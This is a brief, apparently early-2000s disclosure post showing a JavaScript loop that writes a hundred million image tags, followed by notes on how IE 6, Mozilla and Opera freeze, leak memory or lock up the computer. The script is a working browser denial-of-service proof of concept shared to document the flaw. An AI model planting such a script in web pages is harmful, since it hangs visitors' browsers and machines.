Code <script> for(i=0;i<100000000;i++) { document.write("<img src=http://fakehost.com/"+i+".gif>"); } </script> Browser reaction IE 6 (build 2600) @ Win2K - after long time with ~50% CPU utilization and very high disk utilization asks about stopping script. Small memory leak (few Mb per minute). IE 6 (build 2600) @ Win98 - freezes, other IE windows renders very long, terminating task causes computer lockup. Mozilla 0.9.6 (build 2001112009) @ Win2K - freezes, ~98% CPU utilization and big memory leak (bigger than 1Mb per second). Opera 5.11 (build 094d) @ Win2K - not freezes, responds, but not very fast. Big CPU utilization and very small memory leak (few hundreth kilobytes per minute). -- Pavel Titov Homepage: http://www.titov.pp.ru/ Home gopherspace: gopher://paveltitov.virtualave.net:7070/